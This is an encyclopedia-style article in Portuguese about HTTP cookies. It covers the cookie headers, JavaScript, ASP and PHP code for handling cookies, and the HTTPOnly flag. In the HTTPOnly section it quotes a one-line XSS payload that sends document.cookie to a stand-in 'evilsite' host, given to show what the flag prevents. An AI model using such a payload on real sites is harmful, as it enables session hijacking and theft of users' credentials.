Um cookie é um pequeno pacote de dados enviados de um website para o navegador do usuário quando o usuário visita o site. Cada vez que o usuário visita o site novamente, o navegador envia o cookie de volta para o servidor para notificar atividades prévias do usuário. Os cookies foram designados para ser um mecanismo confiável para que sites se lembrem de informações da atividade do usuário, como senhas gravadas, itens adicionados no carrinho de compras em uma loja online, links que foram clicados anteriormente, entre outros.
Funcionamento
- Quando o servidor deseja activar um cookie no cliente, envia uma linha no cabeçalho HTTP iniciada por Set-Cookie: ...
- A partir desse momento, consoante as opções especificadas pelo cookie, o cliente irá enviar no seu cabeçalho HTTP dos pedidos uma linha contendo os cookies relevantes, iniciada por Cookie: ....
Entre os parâmetros dos cookies estão: o tempo de vida (a data para o cookie "expirar a validade") e o domínio, ou grupo de páginas a que o cookie se aplica. Por exemplo, é possível fazer com que um cookie seja aplicado apenas a endereços iniciados por de maneira que esse mesmo cookie já não se aplique para skins, por exemplo.
Se não especificada a data de validade para o cookie, ele irá expirar assim que o usuário fechar o navegador.
Em JavaScript (embutido no HTML da página acessada), podemos criar um script para manipulá-los. Utilizamos "document.cookie" (sem aspas). Exemplo:
function setCookie(name, value, expires, path, domain, secure) {
var curCookie = name + "=" + escape(value) +
((expires) ? "; expires=" + expires.toGMTString() : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
document.cookie = curCookie;
}
function getCookie(name) {
var dc = document.cookie;
var prefix = name + "=";
var begin = dc.indexOf("; " + prefix);
if (begin == -1) {
begin = dc.indexOf(prefix);
if (begin != 0) return null;
} else
begin += 2;
var end = document.cookie.indexOf(";", begin);
if (end == -1)
end = dc.length;
return unescape(dc.substring(begin + prefix.length, end));
}
function deleteCookie(name, path, domain) {
if (getCookie(name)) {
document.cookie = name + "=" +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
"; expires=Thu, 01-Jan-70 00:00:01 GMT";
history.go(0);
}
}
As funções do script acima:
- setCookie - Define o valor de um cookie
- getCookie - Retorna o valor de um cookie
- deleteCookie - Exclui um cookie. Para excluir um cookie, devemos alterar sua data de expiração para uma data inferior a atual (esta função faz exatamente isso).
Em ASP, podemos utilizar cookies por meio dos objetos Response e Request. Exemplo:
- Para gravar o cookie
Response.Cookies("nomedocookie")
- Para definir a validade do cookie
Response.Cookies("momedocookie").Expires = DateAdd("d", 365, Now())
- Utilize o DateAdd para adicionar uma data. No exemplo acima, adicionamos 365 dias, o que equivale a um ano.
- Para definir o domínio
Response.Cookies("nomedocookie").Domain = "pt.wikipedia.org"
- Para definir o grupo de páginas que o cookie se aplica
Response.Cookies("nomedocookie").Path = "/wiki"
- Se definido como "/", todo o sítio poderá acessar o cookie.
- Se quiser, há como adicionar vários valores ao cookie
response.Cookie("nomedocookie")("nomedovalor") = "valor"
- Para ler o cookie , utilize o objeto Request. Exemplo:
variavel = Request.Cookies("nomedocookie")
- E para ler valores
variavel = Request.Cookies("nomedocookie")("nomedovalor")
Em PHP, os cookies são tratados por meio da função setcookie(). Esta deverá vir antes de qualquer dado ser enviado ao navegador, devido ao fato de os cookies fazerem parte do cabeçalho HTTP.
Flag HTTPOnly
Desenvolvido pela Microsoft para o navegador Internet Explorer 6 SP1 para melhorar a segurança, a flag mitiga as ações de atacantes quando estes tentam realizar sequestro de sessão através de cross-site scripting.
Cookies com a flag HTTPOnly não podem ser acessados diretamente por scripts no lado do cliente, como por exemplo JavaScript. Isso significa que, mesmo havendo uma vulnerabilidade que permite o cross-site scripting e o usuário seja incentivado a clicar em um link que explore essa falha, o navegador não enviará ou disponibilizará o cookie marcado com a flag HTTPOnly. Porém a flag é somente uma das técnicas para mitigar o risco de cross site scripting: se usada sozinha, não poderá eliminar a ameaça por completo. O navegador precisa ter suporte a flag.
Exemplo de resposta http com a flag httponly:
Set-Cookie: MyCookieName=The value of my cookie; path=/; HttpOnly
O script abaixo é um exemplo de script malicioso. Caso seja carregado no contexto da aplicação vulnerável a XSS, os cookies do browser serão enviados para o servidor malicioso:
location.href = 'http://evilsite/?cookies=' + document.cookie;
Se um navegador detecta um cookie com uma flag HTTPOnly e um script tenta ler o cookie (através do document.cookie), como no exemplo acima, o navegador retorna uma string vazia como resultado, prevenindo que um código malicioso envie dados para um website. As informações sensíveis contidas nos cookies, incluindo informações de autenticação, poderão ser coletadas pelo website e utilizadas para sequestro de sessão. Caso o navegador não suporte a flag, a mesma será ignorada e o cookie criado será acessível via script, o qual poderá ser modificado ou roubado por um script malicioso.
A seguir, uma lista de navegadores com suporte a flag:
- Chrome 24
- Firefox 18
- IE 8
- IE 9
- IE 10
- Microsoft Edge
- Opera 12.11
- Safari 6.0.2
- Chrome 25
- Chrome 26
- Firefox 19
- Firefox 20
- Firefox 21
- Opera 12.12
- Safari 6.0.3
- Android 4
- Blackberry 7
- Chrome Mobile 18
- IEMobile 9
- iPhone 5
- iPhone 6
- Opera Mobile 12
A versão 2.3 do Android não possui suporte.